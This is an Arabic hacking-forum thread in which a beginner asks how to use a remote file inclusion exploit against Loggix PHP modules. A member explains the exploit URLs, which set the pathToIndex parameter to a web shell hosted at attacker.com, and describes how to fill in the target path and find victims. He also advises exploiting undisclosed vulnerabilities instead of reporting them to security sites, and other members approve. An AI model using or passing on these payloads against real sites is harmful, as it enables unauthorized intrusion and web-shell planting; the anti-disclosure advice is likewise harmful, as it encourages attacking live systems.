طلب : توضيح الاستغلال

Death-Ghost · 12-02-2009, 01:06 AM

السلام عليكم ورحمه الله

انا عندي طلب بسيط

انا حصلت ثغره ريموت فايل انكود

وجبت الاستغلال تبعها بس المشكله اني ما فهمت الاستغلال :cry[1]:

هاد هوو الاستغلال

http://target.com/[path]/lib/Loggix/Module/Calendar.php?pathToIndex

http://target.com/[path]/lib/Loggix/Module/Comment.php?pathToIndex

http://target.com/[path]/lib/Loggix/Module/Rss.php?pathToIndex

http://target.com/[path]/lib/Loggix/Module/Trackback.php?pathToIndex

http://target.com/[path]/modules/downloads/lib/LM_Downloads.php?pathToInde

طبعا هاد كم استغلال لها

ياريت الي عنده خبره يوضح ليي الستغلال

المصدر: :: vBspiders Professional Network ::

Vspan style="font-weight: bold; color: #ff0000;"Cydv l[hf:VLspanC 'gf : j,qdp hghsjyghg

MrXRoMaNcE1 · 12-02-2009, 01:10 AM

ضع رابط ثغرة

killer-32 · 12-02-2009, 01:30 AM

أظن أنه

[path]

هو رابط الشل

يعني جرب بدله برابط الشل

MrXRoMaNcE1 · 12-02-2009, 01:44 AM

اقتباس

المشاركة الأصلية كتبت بواسطة killer-32


	أظن أنه [path] هو رابط الشل يعني جرب بدله برابط الشل

[path]

هذا يا غالي مجلد اللي ركب في سكربت متلا عناكب مسميه مجلد vb

Death-Ghost · 12-02-2009, 02:37 AM

http://www.milw0rm.com/exploits/9729

ها هو رابط الثغره

KaLa$nikoV · 12-02-2009, 02:52 AM

رح اشرح رابط واحد والباقي نفس الاشي والاصل تضع لنا رابط الثغره لحتى نقدر نوصل لك الفكره

http://target.com/[path]/modules/downloads/lib/LM_Downloads.php?pathToInde

الموقع الهدف =http://target.com/

المجلد الذي عليه السكربت =path

مثلا سكربت المنتدى مركب داخل مجلد اسمه vb
اذن
path = vb

جزء من الاستغلال
modules/downloads/lib/LM_Downloads.php?pathToInde

واما الباقي فهو الناقص وبما انك تقول انها فايل اكلود فلازم يكوون الباقي

?shell.txt=

طبعا بدك رابط شل بامتداد تكست

مممممممممممم بدون رابط الثغره شرحنا مش وافي

KaLa$nikoV · 12-02-2009, 02:52 AM

اوك هيني هسا شفت الرابط ثواني

KaLa$nikoV · 12-02-2009, 03:01 AM

اقتباس


	#Dork : No DoRk f0R ScRipT KiDDieS

يعني كلمه البحث في جوجل هي
لايوجد كلمه للبحث ............(اخترعها انت من الرابط )

اقتباس


	#file : # Calendar.php # Comment.php # Rss.php # Trackback.php # LM_Downloads.php

هذه اسماء الملفات المصابه بالانكلوود

اقتباس


	#3xplo!t : #http://target.com/[path]/lib/Loggix/Module/Calendar.php?pathToIndex=http://attacker.com/shell.txt??? #http://target.com/[path]/lib/Loggix/Module/Comment.php?pathToIndex=http://attacker.com/shell.txt??? #http://target.com/[path]/lib/Loggix/Module/Rss.php?pathToIndex=http://attacker.com/shell.txt??? #http://target.com/[path]/lib/Loggix/Module/Trackback.php?pathToIndex=http://attacker.com/shell.txt??? #http://target.com/[path]/modules/downloads/lib/LM_Downloads.php?pathToIndex=http://attacker.com/shell.txt??? ################################################## ######################

يعني الاستغلال
ممممم خلينا نشرح استغلال واحد

اقتباس


	#http://target.com/[path]/lib/Loggix/Module/Rss.php?pathToIndex=http://attacker.com/shell.txt???

#http://target.com/ اسم الموقع الهدف (يلي عليه السكربت)
[path]/ ........... يعني اسم المجلد يلي عليه السكربت (اذا كان السكربت داخل مجلد)

اقتباس


	]/lib/Loggix/Module/Rss.php?pathToIndex=

مسار الملف المصاب على السكربت

اقتباس


	http://attacker.com/shell.txt???

رابط شل بامتداد txt

ما اعتقد صعب الانكلود بسيط جدا

---------------------------------------
نصيحه من ذهب

اتركك اخي من مواقع السكيورتي هذه لانو ما بفيها ثغرات الايكون يلي اكشف الثغره زهق منها

يعني مثلا انا بكتشف ثغره بخترق فيها كل السكربتات يلي ع النت وبعدها برميها لمواقع السكيورتي

وبتلقى صار المعظم عامل ترقيع للثغره

ادخل دورات المنتدى فهي دورات حقيقه للثغرات

وفيك تستفيد اكثر بمليون مره وتوصل لمستوى رائع

بالتوفيق

Death-Ghost · 12-02-2009, 03:27 AM

مشكور خيو على الشرح والنصيحه

لان فعلنا اغلب الثغرات مرقعه يعني نادر ما تحصل وحده ^_^

Death-Ghost · 12-02-2009, 03:27 AM

مشكور خيو على الشرح والنصيحه

لان فعلنا اغلب الثغرات مرقعه يعني نادر ما تحصل وحده ^_^

a7b · 02-09-2010, 02:25 PM

نصيحه من ذهب

اتركك اخي من مواقع السكيورتي هذه لانو ما بفيها ثغرات الايكون يلي اكشف الثغره زهق منها

يعني مثلا انا بكتشف ثغره بخترق فيها كل السكربتات يلي ع النت وبعدها برميها لمواقع السكيورتي

وبتلقى صار المعظم عامل ترقيع للثغره

ادخل دورات المنتدى فهي دورات حقيقه للثغرات

وفيك تستفيد اكثر بمليون مره وتوصل لمستوى رائع

بالتوفيق [/QUOTE]

نصيحتك عععسل يااااااااعسل انت :a14:

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
شرح و توضيح جميع طرق اختراق البريد !!	Italiano Algerino Hacker	قـسـم الـبـريد الإلـكتروني والحسابات العامة	17	08-23-2013 02:40 AM
ممكن توضيح	dana	جـــ'ابات العناكــ'ب	3	12-31-2009 06:39 PM
ممكن توضيح؟	سووويلم	جـــ'ابات العناكــ'ب	2	12-03-2009 12:51 AM
سكربت مكتبة البرامج هل من توضيح	xman2	قســم تطويــر المــــواقع	0	07-19-2009 08:45 PM
[ خبـر ] : توضيح إلي مشرفي قسم استايلات	support	قسم ستآيلات الـ vB	0	05-26-2009 12:21 AM

التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام

طلب : توضيح الاستغلال

جـــ'ابات العناكــ'ب